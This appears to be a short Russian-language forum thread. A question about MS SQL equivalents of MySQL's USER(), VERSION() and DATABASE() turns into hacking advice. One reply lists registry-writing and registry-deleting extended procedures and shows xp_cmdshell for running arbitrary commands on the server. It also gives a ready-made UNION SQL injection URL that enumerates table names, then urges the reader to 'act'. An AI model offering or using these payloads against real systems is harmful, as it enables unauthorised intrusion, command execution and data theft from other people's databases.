Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
MsSQL, а точнее системные функции в нём.
 
Подскажите, есть ли в MsSQL какие либо системные функции которые показали бы - от имени какого пользователя работает скрипт, какая база используется скриптом, какая версия сервера.
Грубо говоря нужен аналог функций MySQL - USER(),VERSION(),DATABASE().
Про select @@version я уже знаю.
Заранее благодарен.
 
Есть в базе данных Master
 
Забей на эти DATABASE(), USER(), VERSION()! В msSQL все гораздо круче - можно например приконектится через базу к твоему компу и не только! Вот кратко основные функции, полезные хацкеру:

xp_regaddmultistring (добавляем строковый параметр)
xp_regdeletekey (удаляем ключ)
xp_regdeletevalue (удаляем значение ключа)
xp_regread (читаем ключ)
xp_regremovemultistring (удаляем строковый параметр)
xp_regwrite (пишем информацию в реестр)

Вот конкретный пример:

exec master..xp_cmdshell 'dir'

С помощью этого запроса можно выполнять любые команды на серваке =)
Вот еще интересная инфа: системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.
Вот пример:

http://zadov/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Ясно? А теперь действуй! =)
Страницы: 1
Читают тему